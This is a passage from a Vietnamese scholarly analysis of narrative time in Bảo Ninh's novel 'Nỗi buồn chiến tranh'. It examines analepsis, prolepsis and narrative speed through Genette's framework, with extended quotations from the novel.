lòng trong tâm hồn luôn rỉ máu!

Từ bảng thống kê về sự sai trật niên biểu trong Nỗi buồn chiến tranh, ta có thể rút ra kết luận: cuốn tiểu thuyết là một chuỗi những hồi tưởng của Kiên về cuộc chiến khắc nghiệt. Mặc dù sống trong hiện tại nhưng tâm hồn anh luôn trở về với quá khứ, sống trong hoài niệm với những kí ức về chiến tranh, tình yêu, Hà Nội… dẫn đến sự “vi phạm” thường xuyên đến dòng chảy tự nhiên của thời gian niên biểu, tạo nên sự sai trật niên biểu trong tác phẩm. Đặc điểm này chi phối đến nghệ thuật kể chuyện, tạo ra một kiểu thời gian đa tầng, chồng chéo, đan xen. Thời gian có sự đi về giữa hiện tại và quá khứ, còn quá khứ là những câu chuyện hỗn độn nhiều khi lồng ghép vào nhau tạo nên kết cấu “truyện lồng trong truyện”.

 Lối đảo thuật và dự thuật

Trong công trình khoa học “Thời gian trong “Đi tìm thời gian đã mất” của M.Proust”, Tiến sĩ Đào Duy Hiệp đã khẳng định: “Thời gian của việc kể chuyện có thể chậm hơn thời gian hư cấu khi nhà tiểu thuyết sử dụng thủ pháp nghệ thuật ngoái lại và đón trước” [19,86]. Cả hai thủ pháp nghệ thuật này thực chất đều hướng tới mục đích “căng mở” thời gian nghệ thuật, đặt quá khứ – hiện tại – tương lai vào một dòng chảy liên tục. Mặt khác, nó còn tạo nên tính hấp dẫn, lôi cuốn, góp phần biểu hiện tư tưởng chủ đề cho tác phẩm.

Nỗi buồn chiến tranh là tiểu thuyết tiêu biểu cho sự đảo lộn trật tự thời gian tuyến tính, chỉ tuân thủ theo thời gian tâm trạng. Lối đảo thuật, dự thuật liên tục được sử dụng trong tác phẩm.

* Lối đảo thuật

         Một trong những hình thức trần thuật phi tuyến tính trong Nỗi buồn chiến tranh là từ hiện tại quay ngược về quá khứ để kể chuyện. Đây là hình thức đảo thuật (quay ngược, ngoái lại) kể lại những biến cố, sự kiện đã diễn ra từ trước (những sự kiện thuộc về quá khứ nếu tính thời điểm đang kể là thời hiện tại).

Trong tác phẩm, lối đảo thuật được đánh dấu bằng những từ ngữ chỉ thời gian thuộc về quá khứ như: “chiều hôm ấy”, “mùa xuân năm ấy”, “cái đêm xa xăm ấy”, “buổi chiều tháng tư ấy”, “mùa mưa năm ngoái”, “buổi tối hôm đó”, “kí ức về một ngày mưa lũ”… Sau mỗi mốc thời gian này là dòng chảy tuôn trào những kỉ niệm, người đọc vừa dứt khỏi vùng kí ức này thì vùng kí ức khác lập tức xuất hiện. Những kỉ niệm về chiến tranh và tình yêu cứ chập trùng hiện về trong kí ức của Kiên.

Trong Nỗi buồn chiến tranh, tất cả các sự kiện, biến cố đều nằm trong dòng hồi tưởng của nhân vật. Qua sự lắp ghép, phân mảnh, hiện thực và quá khứ đan xen, không theo một nguyên tắc nhất định nào. Thời gian bị đảo lộn, đứt gãy liên tục, tạo nên dòng chảy miên man bất định trong ý thức của nhân vật Kiên. Chúng ta có thể nhận thấy đặc điểm này được thể hiện ngay trong phần mở đầu của tác phẩm. Chúng tôi tạm chia phần này thành các blog sự kiện sau:

Blog 1: Hành trình đi tìm đồng đội của Kiên

Blog 2: Kí ức về B3 tiểu đoàn 27 bị bao vây và tiêu diệt

Blog 3: Cuộc sống của người lính trinh sát (bài bạc và hồng ma)

Blog 4: Những hồn ma ở đèo Thăng Thiên

Blog 5: Can đào ngũ

Blog 6: Xung quanh vụ thám báo và ba cô gái bị bỏ quên

Chúng ta thấy, mỗi blog gắn với một sự kiện khác nhau. Mốc thời gian của các blog cách xa nhau và bị xáo trộn hoàn toàn. Nếu blog 1, sự kiện diễn ra vào mùa khô đầu tiên sau chiến tranh – 1976, thì blog 2 lùi về năm 1969, tiếp đó là blog 3 lại đẩy về năm 1974… Nghĩa là, các blog được sắp xếp một cách ngẫu hứng lộn xộn, xuôi ngược, ngược xuôi. Nhưng chúng có một lôgic nội tại đó là tâm trạng thông qua giấc mơ của nhân vật Kiên.

         Trong Nỗi buồn chiến tranh, tình yêu và chiến tranh – hai chủ đề, hai nỗi buồn thấm vào nhau liên tục xuất hiện trong dòng hồi ức của Kiên. Bởi chính “Kí ức chiến tranh và kí ức tình yêu kết thành sinh lực và thành thi hứng, giúp anh thoát khỏi cái tầm thường bi đát của số phận anh sau chiến tranh” . Lần theo dòng hồi ức của nhân vật Kiên, chúng tôi thống kê  được các blog sự kiện chính kể về nhân vật Phương trong tác phẩm như sau:

Blog 1: Kí ức về Phương tuổi 17

Blog 2: Phương bỏ đi

Blog 3: Gặp Phương đầu tiên sau chiến tranh

Blog 4: Đoàn tàu bị bom ở ga Thanh Hoá

Blog 5: Tình cảm đặc biệt của cha Kiên với Phương

Blog 6: Chuyện tình của Kiên và Phương bên Hồ Tây

Blog 7: Những ám ảnh về Phương theo Kiên trong những ngày bị thương

Blog 8: Cuộc chia tay vĩnh viễn với Phương

Blog 9: Kỷ niệm với Phương tuổi 13

Blog 10: Ngày Kiên lên đường, gặp lại Phương trước lúc lên tàu vào B

Blog 11: Kỷ niệm về Phương ở Đồ Sơn

Blog 12: Phương và Kiên trên chuyến tàu Hà Nội – Vinh

Blog 13: Tàu vào nhà ga Thanh Hoá

Blog 14: Bất hạnh đến với Phương trên chuyến tàu đi B

Trong dòng hồi tưởng miên man bất định của Kiên thì kí ức về Phương xuất hiện hầu hết, bao trùm lên toàn bộ tác phẩm. Sự vận động thời gian tự sự thông qua nhân vật Phương được người đọc cố gắng sắp xếp lại, liên tưởng để tạo nên mạch vận động của câu chuyện. Vận dụng mô hình xử lý thời gian của Genette, chúng tôi đưa chúng về thời gian lịch sử (thời gian chuyện) theo thứ tự như sau:

Blog 9  →  Blog 11   →  Blog 5   →   Blog 1 →   Blog 6   →  Blog 10 →   Blog 12  →  Blog 13   →  Blog 4   →  Blog 14   →   Blog 7   →  Blog  3 →    Blog 8   →   Blog  2.

Nhìn vào diễn biến sự kiện theo sơ đồ trên, chúng ta thấy có sự đảo lộn trong trình tự của chúng.  Chúng đã được tác giả sắp xếp lại một cách “lộn xộn”. Nhưng chính chúng lại là xương sống để tạo nên một mạch vận động độc lập của cốt truyện. Bởi vì, khi chúng ta sắp xếp chúng lại theo thời gian lịch sử thì chúng có sự vận động theo trật tự thời gian tuyến tính trước sau: từ khi Phương 13 tuổi (Blog 9) đến khi Phương bỏ ra đi vĩnh viễn (Blog 2).

Nếu mạch trần thuật sự kiện được đẩy lùi về quá khứ thì mạch biểu hiện cảm xúc cứ trôi dạt, lan tỏa từ quá khứ đến hôm nay. Dường như những chuyện của quá khứ không hề khép lại mà tiếp tục sống cùng với nhân vật Kiên trong dòng trôi của hiện tại.

* Lối dự thuật

Từ hiện tại kể trước những chuyện ở tương lai – dự thuật (đón trước, dẫn tới) cũng là hình thức kể chuyện thường gặp trong Nỗi buồn chiến tranh, nghĩa là kể trước, rào đón trước một biến cố, một nhân vật hoặc sự kiện sẽ xảy đến; nó báo hiệu, “tiền định” những điều sẽ xảy ra sau này của câu chuyện. Theo Trần Đình Sử “kể những chuyện sẽ xảy ra còn được gọi là dự tự” [56,82].

Tsêkhốp khi nói về nghệ thuật viết văn đã cho rằng: “Mở đầu câu chuyện nếu tác giả miêu tả khẩu súng treo ở trên tường thì kết thúc câu chuyện đó, khẩu súng ấy phải bắn”. Chẳng hạn, Kiều gặp Đạm Tiên báo mộng – Truyện Kiều (Nguyễn Du); Julien Sorrel thấy chậu nước màu đỏ như máu bởi tấm thảm nhung phản chiếu, sau này Julien Sorrel bị rơi đầu và máu đỏ như màu tấm thảm – Đỏ và đen (Stendhal); Anna Karenina gặp người yêu trên sân ga, sau này kết thúc số phận của mình trên đường ray – Anna Karenina (L.Tolstoi)…

Khảo sát tiểu thuyết Nỗi buồn chiến tranh, chúng ta cũng thấy một “tương lai” như thế thông qua hình thức dự thuật. Trong tác phẩm, người đọc liên tục bắt gặp những đoạn văn có tính chất báo trước cho những sự kiện, biến cố sẽ xảy ra:

Về sau, rất nhiều năm về sau này, khi đã là một người cầm bút đứng tuổi, đã dấn thân khá sâu vào văn nghiệp, viết đã nhiều truyện ngắn, truyện vừa về chiến tranh, đã lục lọi, đảo xới hầu như toàn bộ cuộc đời lính của mình lên để nạp vào trang bản thảo”.

        – “Về sau, mỗi khi được nghe người ta kể hoặc được xem phim, được thấy cảnh ngày 30 tháng 4 ở Sài Gòn trên màn ảnh (…) tự nhiên trong Kiên cứ nhói lên nỗi buồn pha cả niềm ghen tỵ” .

       – “Về sau trong những đêm ngày liên miên của chiến tranh, Kiên vẫn thường thấy lại ở mình và ở những người xung quanh những giờ phút dài dằng dặc chìm chết trong trạng thái mất hồn này” .

        – “Phải một thời gian sau, nhờ tham gia vào đội thu nhặt hài cốt tử sĩ của sư đoàn, Kiên mới có dịp trở lại vùng hồ Cá Sấu”

Những từ ngữ chỉ thời tương lai như: “về sau”, “nhiều năm về sau này”, “một thời gian sau” được chêm xen một cách khá thú vị trong mạch trần thuật, khiến truyện trở nên linh hoạt, có tác dụng “đón trước” cho những sự kiện, biến cố sẽ xảy ra sau này.

Sự kiện cha Kiên – “một họa sỹ lạc thời” đốt toàn bộ những bức tranh mà mình đã sáng tạo trước lúc ông từ giã cõi đời với nghi lễ “cuồng tín, man rợ, dấy loạn”, đã được người kể chuyện kể trước theo hình thức dự thuật (trước khi độc giả được nghe kể về người cha và tuổi ấu thơ của Kiên, trước khi Phương chính thức kể cho Kiên về sự kiện này). Hành vi đốt tranh của người nghệ sĩ thể hiện tột cùng của sự “lạc loài” của một tâm hồn trong thời đại mới, đồng thời nó như là một dự cảm, một tiên nghiệm về tương lai: Chiến tranh sẽ hủy diệt cái đẹp, cái đẹp không thể tồn tại cùng chiến tranh. Tình cảm của cha Kiên đối với Phương cũng nằm trong ý nghĩa đó. Đó là sự chiêm ngưỡng cái đẹp của một họa sĩ và sự lo âu trước tương lai của cái đẹp khi chiến tranh đến: “Ngọn lửa thiêu các bức tranh, thiêu đốt cha và luôn cả đời em. Qua ánh lửa ấy em nhìn thấy tương lai” .

Về sau, đi qua chiến tranh với những kỷ niệm đau xót, Kiên cũng trải qua những vật vã trong sáng tác và đau đớn trong cuộc đời hiện tại như cha mình. Anh cũng thiêu hủy bản thảo của mình như cha anh đốt tranh ngày xưa. Những chuyện xung quanh quá trình vật vã để viết lách của Kiên cũng được người kể chuyện kể theo lối dự thuật. Các sự kiện như: Kiên đốt hết những trang bản thảo “các tàn giấy xào xạc tơi vụn ra và bay từ miệng lò vào khắp căn phòng tối đen lạnh lẽo”, chiếm đoạt người đàn bà câm “một cách cuồng bạo, khốc liệt, giằng xé, thẳng thừng tàn phá, đâm vào chị nỗi đơn độc bí ẩn, sắc như dao, đầy hiểm nghèo của anh…” được người kể chuyện kể trước, kèm theo lời chú thích: “Tuy nhiên, tất cả những chuyện trên đều sẽ chỉ xảy ra về sau, vào một mùa đông xa vời phía trước. Còn lúc này vẫn đang trong thời quá khứ. Còn Kiên, theo như cách anh tự biểu tượng, vẫn đang hằng đêm hóa thân thành ngọn nến leo lét cháy lên trong bầu không khí tù đọng, trong cảm giác ngột ngạt và trong những buồn đau say khướt không tài nào ai hiểu nổi của anh” . Quá trình sáng tạo đầy cam khổ, nghiệt ngã như vắt kiệt sinh mệnh nhưng không phải không có lúc tưởng như vô nghĩa lí của Kiên được nhấn mạnh hơn nhờ được kể theo lối dự thuật này.

Trong tiểu thuyết của Bảo Ninh “hình tượng người cha nghệ sĩ của Kiên có giá trị như một thứ Đạm Tiên báo trước cuộc đời anh” [60,90]. Đi qua chiến tranh với những kỷ niệm “có thể là êm đềm, có thể là ác hại”, Kiên trở thành người bị cầm tù của quá khứ với một thứ “thiên mệnh” thiêng liêng. Anh cũng phải trải qua những vật vã trong sáng tác và những đau đớn trong cuộc đời hiện tại như cha mình. Và hành động cuối cùng trong cuộc đời nghệ sĩ của anh cũng là một nghi lễ tiêu huỷ toàn bộ sản phẩm tinh thần của cuộc đời mình. Kiên chính là “nỗi buồn truyền kiếp” của cha, một người đã xả thân làm người hùng, tiêu phí cuộc đời trong nghĩa vụ, trong tàn sát, trong chiến thắng, sống sót trở về, để rồi không bao giờ có thể thoát khỏi nỗi cô đơn lạc loài, yếu đuối đã từng bóp nghẹt cuộc đời cha Kiên.

Ngoài ra, lối kể dự thuật cũng được người kể chuyện thể hiện qua những đoạn linh cảm, dự cảm về tương lai, về số phận bất trắc của nhân vật. Cha Kiên đã có một cái nhìn dự cảm mang tính tiền định về Phương khi cô bé 16 tuổi: “Sắc đẹp của cháu không bình thường (…) Vẻ đẹp lạc thời và lạc loài sẽ đau khổ đấy. Khổ lắm.” [45,163]. Ngay bản thân Phương cũng đã có một dự cảm về tương lai của mình. Trong một buổi đi dạo bên Hồ Tây với Kiên, Phương nói: “Em nhìn thấy tương lai – đấy là sự đổ nát, sự thiêu hủy”. Người con gái ấy lạc loài, lạc thời ngay ở sắc đẹp bừng cháy rực rỡ của cô. Giữa bom đạn chiến tranh, cái đẹp ấy phải nép mình đi hoặc phải thay đổi, ngụy trang nhưng Phương lại tỏa sáng, đẹp một cách “kì ảo”, “khôn lường”. Vậy nên vẻ đẹp đó trở thành tâm điểm cho mọi sự tàn phá. Tâm hồn trong sạch, hoàn mĩ tuyệt đối của cô không phù hợp với cái hỗn loạn của chiến tranh và của cả cái xô bồ thời hậu chiến. Ra khỏi chiến tranh, Phương trở thành người đàn bà trác táng, thác loạn trong nỗi cô đơn khốn cùng. Nàng đã sống một cuộc đời tăm tối, nhàu nhĩ trong những “lạc thú nhơ nhớp, tả tơi, như rẻ rách và nghèo nàn không khác gì bát cơm manh áo”. Nỗi cô đơn của Phương chính là nỗi cô đơn của cái đẹp lạc thời và lạc loài.

Có thể nói, lối kể dự thuật được tác giả sử dụng như một thủ pháp nghệ thuật quan trọng, có ý nghĩa thông báo trước một sự kiện tất yếu sẽ xảy đến, làm câu chuyện ngày càng tiến đến độ sáng tỏ.

        Nếu đảo thuật “biện pháp nghệ thuật có khả năng cô đọng, dồn nén khiến thời gian như chậm lại thông qua sự hồi cố, hồi tưởng của nhân vật” [7,90], thì lối dự thuật là thủ pháp nghệ thuật có khả năng giúp nhà văn phác thảo những chi tiết, sự việc trong tương lai, “kéo giãn” thời gian khiến người đọc có cảm giác sự kiện diễn tiến nhanh hơn. Thời gian trong Nỗi buồn chiến tranh là thời gian từ hiện tại đẩy lùi về quá khứ và tiến tới tương lai nhưng “cái tương lai mà tác phẩm hướng tới lại vẫn là quá khứ của thì hiện tại. Quá khứ  – hiện tại – tương lai đồng hiện nhưng bánh xe thời gian vẫn quay lùi về quá khứ” [9,34].

Tốc độ

Tốc độ (speed) chỉ ra “mối liên hệ giữa khoảng thời gian có thể thay đổi các phần của câu chuyện với độ dài của chính văn bản mà trong đó các phần truyện được kể lại” [53,67]. Vì vậy, nói đến tốc độ trần thuật là nói đến cách kể của người kể chuyện: kể nhanh hay chậm, kể tỉ mỉ về từng sự kiện, chi tiết hay chỉ lựa chọn những sự việc quan trọng và lược thuật về nó. Về tốc độ trần thuật, Genette phân biệt 4 dạng thức cơ bản mà ông gọi là bốn vận động tự sự, bao gồm: lược thuật (summary), tỉnh lược (ellipsis), ngừng nghỉ (pause), hoạt cảnh (scene).

So với thời gian câu chuyện thì thời gian tự sự có khi gia tốc, có khi giảm tốc. Nghĩa là, nếu thời gian câu chuyện bị dồn nén lại trong thời gian tự sự thì tốc độ trần thuật sẽ nhanh, gấp hay còn gọi là trần thuật gia tốc. Ngược lại, thời gian câu chuyện được kéo giãn ra trong thời gian tự sự thì tốc độ trần thuật chậm lại hay còn gọi là trần thuật giảm tốc. “Sự luân phiên giữa trần thuật gia tốc và trần thuật giảm tốc sẽ tạo ra nhịp điệu tự sự” [22,19]. Tác giả Lê Lưu Oanh khẳng định: “Nhịp điệu được thể hiện trước hết ở tốc độ trần thuật” [46,147]. Tốc độ trần thuật là điểm nhấn cơ bản định vị nhịp điệu trần thuật. Tùy thuộc sự nhanh, chậm của tốc độ trần thuật mà nhịp điệu trần thuật được hình thành.

Thời gian tự sự là thời gian của người kể, tốc độ và nhịp kể có thể nhanh hay chậm tùy thuộc theo chủ ý của tác giả. Nếu tốc độ trần thuật trong một số tiểu thuyết Việt Nam thời đổi mới: Paris 11 tháng 8, Chinatown – Thuận, Thoạt kì thủy – Nguyễn Bình Phương… được diễn ra với tốc độ khá nhanh (Chinatown – Thuận: chỉ trong hai tiếng đồng hồ, người phụ nữ xưng “tôi” đã tóm lược cả đoạn đời 39 tuổi của mình) thì trong Nỗi buồn chiến tranh, tốc độ trần thuật lại có xu hướng chậm hơn.

Nỗi buồn chiến tranh là hồi ức về chiến tranh của nhân vật chính – Kiên. Thời gian cốt truyện của tác phẩm khoảng trên dưới 25 năm (từ năm 1965 – đầu những năm 90 của thế kỉ XX) tương ứng với thời gian văn bản là 312 trang. Như vậy, con số trung bình là 312 : 25 = 12,48 trang/ năm. Nhìn vào con số này, ta thấy “số đo tốc độ gốc” (tachometric measurement) của toàn truyện [72,34] – tức là tốc độ kể trung bình của truyện kể khá chậm. Chính từ tốc độ truyện kể này đã tạo cho nhịp kể của truyện một tính chất hồi cố, trăn trở. Tác giả Bùi Việt Thắng chỉ ra nhịp điệu của Nỗi buồn chiến tranh trong một phép so sánh: “Nhịp điệu của Thân phận của tình yêu là nhịp điệu của một con tàu lầm lũi trong đêm trường, trên đó có một con người đi tìm thời gian đã mất” [62].

Tuy nhiên, thời gian của việc kể chuyện trong mỗi trường đoạn cụ thể lại có những nhịp điệu tốc độ khác nhau do những thủ pháp thời gian khác nhau quy định. Cách sử dụng các dạng thức “vận động tự sự” phù hợp đã tạo nên đặc trưng tốc độ trần thuật trong Nỗi buồn chiến tranh.

 Sử dụng cảnh, giãn chậm thời gian câu chuyện

Cảnh (scene) là “những thời điểm của hành động mang tính kịch được miêu tả theo một cách thức gây ấn tượng sâu sắc” [53,69], chủ yếu là các lời thoại (đối thoại hoặc độc thoại). Thời gian tự sự tại những hoạt cảnh này thường lắng đọng để cho nhân vật bộc lộ tính cách, tư tưởng.

Trong Nỗi buồn chiến tranh, chúng tôi đặc biệt quan tâm tới những nhận thức bên trong được thể hiện qua dòng độc thoại nội tâm của nhân vật. Lúc đó “thời gian câu chuyện dường như ngừng vận động, nhưng sự kiện thì được khắc ghi sâu hơn trong lòng nhân vật” [3,96]. Nỗi buồn chiến tranh là tiểu thuyết có những dòng độc thoại nội ám ảnh và sâu lắng. Nhân vật chính trong tác phẩm – Kiên, một con người bước ra từ cuộc chiến, mọi sự kiện về chiến tranh, tình yêu… đều tác động đến thế giới tinh thần anh, tạo nên một khoảng không cho nhân vật “nếm trải”, suy ngẫm.

Kiên là người đã đi qua cuộc chiến tranh ác liệt của dân tộc. Kiên nhận thấy đằng sau cuộc chiến tranh đầy vinh quang ấy, Kiên là người mất hết tuổi trẻ, tình yêu, đồng đội, người thân, bạn bè… Anh chẳng còn giữ lại gì cho riêng mình sau ngày chiến thắng, ngoài những giấc mộng, những ám ảnh về quá khứ đau đớn. Cuộc đời anh giờ đây tẻ nhạt, lạnh ngắt và chua xót khi anh tự thốt lên: “Thì ra cuộc đời tôi kì thực có khác nào con thuyền bơi ngược dòng sông không ngừng đẩy lùi về dĩ vãng. Đối với tôi, tương lai đã nằm lại ở phía sau xa kia rồi. Và không phải là cuộc sống mới, thời đại mới, không phải là những hi vọng về tương lai tốt đẹp đã cứu giúp tôi, mà trái lại những tấn thảm kịch của quá khứ đã nâng đỡ tâm hồn tôi, tạo sức mạnh tinh thần cho tôi thoát khỏi vô tận những tấn trò đời hôm nay…”. Độc thoại phơi bày những suy nghĩ bên trong của nhân vật, vì thế thời gian dường như lắng lại, ngừng trôi chảy, góp phần làm giãn mạch truyện, làm chậm lại tốc độ kể chuyện.

Các hoạt cảnh độc thoại, mà tiêu biểu là độc thoại nội tâm đã góp phần đắc lực trong việc đi sâu khám phá tâm hồn con người, diễn tả những nỗi niềm u uẩn, day dứt, trăn trở, những điều sâu lắng thầm kín trong tâm hồn Kiên. Và “Những phút lặng hồi tưởng, bắt đầu cho cuộc hành trình tìm về quá khứ của nhân vật đã làm chậm tốc độ kể chuyện” [47]:

“Bây giờ đây chỉ có nỗi buồn, mênh mang nỗi buồn – nỗi buồn được sống sót, nỗi buồn chiến tranh – tràn phủ tâm hồn anh.

         Nếu không nhờ có Hòa cùng biết bao đồng đội thân yêu ruột thịt, vô số và vô danh, những người lính thường, những liệt sĩ của lòng nhân đã làm sáng danh đất nước này và đã làm nên vẻ đẹp tinh thần cho cuộc kháng chiến, thì đối với Kiên, chiến tranh với bộ mặt gớm guốc của nó, với những móng vuốt của nó, với những sự thật trần trụi bất nhân nhất của nó sẽ chỉ đơn thuần có nghĩa là một thời buổi và một quãng đời mà bất kì ai đã phải trải qua, đều mãi bị ám ảnh, mãi mãi mất khả năng sống bình thường, mãi mãi không thể tự tha thứ cho mình. Bản thân anh nếu không nhờ được sự che chở đùm bọc, được cưu mang và được cứu rỗi trong tình đồng đội bác ái thì ắt rằng đã chết từ lâu, không vì bị giết chết cũng sẽ tự giết mình bằng cách nào đó để thoát khỏi gánh nặng chém giết, gánh nặng bạo lực mà thân phận con sâu cái kiến của ngưởi lính phải cõng trên lưng đời đời kiếp kiếp.

         Bây giờ thì đã qua cả rồi. Tiếng ồn ào của những cuộc xung sát đã im bặt. Gió lặng cây dừng. Và vì chúng ta đã chiến thắng nên đương nhiên có nghĩa là chính nghĩa đã thắng, điều này có một ý nghĩa an ủi lớn lao, thật thế. Tuy nhiên, cứ nghĩ mà xem, cứ nhìn vào sự sống sót của bản thân mình, cứ nhìn kĩ vào nền hòa bình thản nhiên kia và nhìn cái đất nước đã chiến thắng này mà xem: đau xót, chua chát và nhất là buồn xiết bao.

         Chính nghĩa đã thắng, lòng nhân đã thắng, nhưng cái ác, sự chết chóc và bạo lực phi nhân cũng đã thắng. Cứ nhìn mà xem, cứ ngẫm nghĩ mà xem, sự thực là như thế đấy. Những tổn thất, những mất mát có thể bù đắp, các vết thương sẽ lành, đau khổ sẽ hóa thạch, nhưng nỗi buồn về cuộc chiến tranh thì sẽ càng ngày càng thấm thía hơn, sẽ không bao giờ nguôi.

Chính là từ chuyến đi tảo mộ năm ấy, trên con đường hành hương xuyên giữa rừng rậm chằng chịt những sự tích bị lãng quên, qua hồ Cá Sấu với Hòa, qua truông Gọi Hồn với anh em trong đội trinh sát mà Kiên đã bắt đầu quá trình lâu dài cảm nhận lại chiến tranh dưới làn ánh sáng chậm rãi của nỗi buồn” .

Đây là một đoạn khá dài nhưng sự kiện, tình tiết thì không phát triển thêm mà vẫn chỉ dừng lại ở việc “Kiên ngồi xuống ở một bìa rừng trong bóng hoàng hôn, nhắm mắt lại dõi nhìn vào cõi xa khuất” và cả đoạn chỉ là những cảm nhận của Kiên về chiến tranh. Chúng gợi ra ấn tượng về sự ngưng đọng của thời gian bởi không có sự tiến triển của các biến cố, sự kiện. Thời gian kể chuyện vẫn diễn ra, trong khi thời gian của truyện thì trở nên đóng băng. Điều đó khiến thời gian truyện chậm hơn so với thời gian kể chuyện. Việc giãn chậm dường như là một sự gián cách, làm giảm đi tốc độ kể chuyện.

 Sự tham gia của quãng ngưng

         Trong Nỗi buồn chiến tranh, nhà văn cũng có thể làm mạch truyện chậm lại bằng cách xen vào những đoạn miêu tả (thiên nhiên, chân dung nhân vật) và những lời bình luận mang tính chất “trữ tình ngoại đề” của người kể chuyện… Những đoạn như vậy được gọi là những quãng ngưng của truyện, vì ở những đoạn đó thời gian trần thuật dừng lại, tốc độ trần thuật giảm tốc.

Sự tham gia của những quãng ngưng nhằm làm giãn chậm tốc độ trần thuật được thể hiện trước hết ở những đoạn miêu tả. Mở đầu tác phẩm là một nhịp kể bình thản, chậm rãi bắt vào việc miêu tả mùa mưa đầu sau chiến tranh với âm hưởng man mác của nỗi buồn thân phận: “Tháng chín và tháng mười, rồi tháng mười một nữa đã trôi qua, vậy mà trên dọc dòng Ya Crông Rôcô làn nước mùa mưa xanh ngát vẫn tràn ắp đôi bờ. Thời tiết bấp bênh. Ngày nắng. Đêm mưa. Mưa nhỏ thôi, nhưng mưa. Mưa… núi non nhạt nhòa, những nẻo xa mờ mịt. Cây rừng ướt át. Cảnh rừng lặng lẽ. Tối ngày đất rừng ngun ngút bốc hơi. Biển hơi màu lục, ngụt mùi lá mục” . Sự chậm rãi của nhịp kể hoà cùng sự chậm rãi, êm dịu của màn mưa khiến cho tốc độ kể chuyện dường như chậm lại trong mạch trần thuật.

Trước khi trở thành người lính, Kiên là một chàng trai Hà thành. Hà Nội trong Kiên là cuộc sống yên bình của ngôi nhà chung cư trên đường Nguyễn Du. Những kỉ niệm về Hà Nội, về phố phường, cảnh vật, trường Bưởi với những hàng cây râm mát đã gắn bó thân thiết bao nhiêu với những kỉ niệm của tuổi học trò. Đặc biệt khung cảnh Hồ Tây, đường Cổ Ngư luôn hiện về trong kí ức Kiên với: “Bầu trời cao vợi, mây nắng tuyệt vời gần như là tầng trời của những giấc chiêm bao thời thơ ấu. Và dưới vòm trời xán lạn ấy, Kiên lại được thấy Hà Nội của anh. Hồ Tây, chiều hạ, hàng phượng vĩ ven hồ, tiếng ve sầu ran lên khi hoàng hôn xuống, và anh cũng nghe thấy, cảm thấy gió hồ lộng thổi, cảm thấy sóng vỗ mạn thuyền” . Có thể nói, những đoạn tả cảnh thiên nhiên đã đem lại cho người đọc những cảm nhận thi vị. Đây phải chăng là những bến bờ bình yên, nơi thanh lọc tâm hồn con người sau những tháng ngày “dông bão” của lửa đạn. Tốc độ trần thuật chậm rãi giúp cho tâm hồn nhân vật như được trải rộng ra cùng với những cảm nhận về thiên nhiên cảnh vật tươi đẹp thời thơ ấu.

Sự tham gia của những quãng ngưng có tác dụng làm chậm lại câu chuyện, trì hoãn lại những sự kiện đang được kể. Đồng thời, trong nhiều trường hợp, những quãng ngưng (bằng cách chen vào miêu tả) giúp người kể chuyện nói rõ hơn bối cảnh, không gian truyện nhằm mục đích cung cấp thông tin cho độc giả. Ngay từ mở đầu tác phẩm, kí ức đã đưa Kiên về với trận đánh cuối mùa khô năm 1969, trận đánh mà cả tiểu đoàn 27 bị tiêu diệt, chỉ có Kiên và một vài người sống sót. Kí ức sống dậy như một đoạn phim quay cận cảnh đầy kinh hoàng: “Mùa khô ấy, nắng to gió lớn, rừng bị tưới đẫm xăng đặc, cuồn cuộn lửa luyện ngục. Các đại đội đã tan tác đang cố co cụm, lại bị đánh tan tác. Trên đầu trực thăng rà rạp các ngọn cây và gần như thúc họng đại liên vào gáy từng người một mà bắn. Máu tung xối, chảy tóe, ồng ộc, nhoe nhoét. Trên cái trảng hình thoi ở giữa truông, cái trảng mà nghe nói đến ngày nay cỏ cây vẫn chưa lại hồn để mọc lên nổi hồi đó la liệt xác người bị đốn, thân thể dập vỡ, tanh bành, phùn phụt phì hơi nóng” . Trong mạch trần thuật, người kể chuyện đã tạo một quãng ngừng nghỉ, dừng lại để miêu tả tường tận về sự về sức tàn phá, hủy diệt ghê gớm của chiến tranh, đồng thời nó cũng giúp ta thấy được bối cảnh mà người kể chuyện hướng đến không gian chiến trận.

Ngoài ra, những quãng ngưng miêu tả chân dung nhân vật cũng góp phần làm chậm lại dòng chảy của truyện kể. Trong miền kí ức chảy trôi bất định của Kiên, Phương hiện lên với một vẻ ngoài tuyệt mĩ. Vẻ đẹp tuyệt mĩ từ thân thể của nàng là công trình tuyệt diệu của tạo hóa: “Hai cánh tay đẹp đẽ, hai bờ vai tròn lẳn, hai bầu vú nây rắn rung lên nhè nhẹ; cái eo mịn màng, phẳng phiu, hơi thót vào một chút đến nỗi đám lông đen dầy mịn giữa cặp đùi tròn trĩnh trông như một miếng đệm nhung; đôi chân đẹp như tạc, dài và chắc, mềm mại với làn da sữa đặc…” . Bằng tất cả sự cảm nhận của mình và tình yêu mãnh liệt với Phương, Kiên đã tạc nên một thần Vệ nữ cho riêng lòng anh. Đúng như lời tự nhủ của Kiên, Phương là một sắc đẹp “kì ảo khôn lường, đẹp một cách đau lòng”, một sắc đẹp “bị chấn thương, như thể một sắc đẹp lâm nguy, mấp mé bên bờ vực thẳm”. Sắc đẹp “lạc thời và lạc loài” dường như báo trước về số phận của nhân vật.

Bên cạnh những quãng ngưng miêu tả (thiên nhiên, bối cảnh, chân dung nhân vật) thì trong Nỗi buồn chiến tranh, những lời bình luận mang tính chất “trữ tình ngoại đề” của người kể chuyện cũng có tác dụng kéo giãn thời gian, làm giảm tốc độ trần

thuật. Đây là những lời bình luận mang tính chủ quan của người kể chuyện khi “anh ta” nhìn thấy sự chờ đợi của người đàn bà câm với “tay nhà văn phường Kiên” như là sự chung thủy của độc giả dành cho tác phẩm: “Riêng tôi thì tôi lại cảm thấy trong sự chờ đợi kín như bưng của người đàn bà câm đối với tay nhà văn của phường có cái gì như lòng chung thủy của một độc giả dành cho tác phẩm gối đầu giường. Và nếu đúng như vậy thì giá trị của tác phẩm không bao giờ ra đời ấy, tôi nghĩ chí ít cũng đã được khẳng định, hay nói cách khác được đảm bảo bởi tấm lòng người độc giả độc nhất của nó”. Người kể chuyện còn hình dung ra bạn đọc của tương lai và trao đổi: “Cũng là một trung đội trinh sát đó thôi bạn hãy tưởng tượng mà xem, ở trang này họ là những người lính thiện chiến nhất, gây chết chóc đáng sợ nhất cho đối phương, ở trang sau hỡi ôi, không thể tin được họ lại biến thành những nhân vật u ám, ngợp ngọng nhất, yếu đuối và lờ phờ nhất, thậm chí tác giả còn biến họ thành những hồn ma, những âm binh ảo não…” . Người kể chuyện ở đây đã nhận thấy một điều sẽ xảy ra đó là dư luận về cuốn tiểu thuyết, có thể là được ca ngợi chấp nhận và cũng có khi là bị phê phán chối từ, và anh đã chấp nhận nó một cách bình 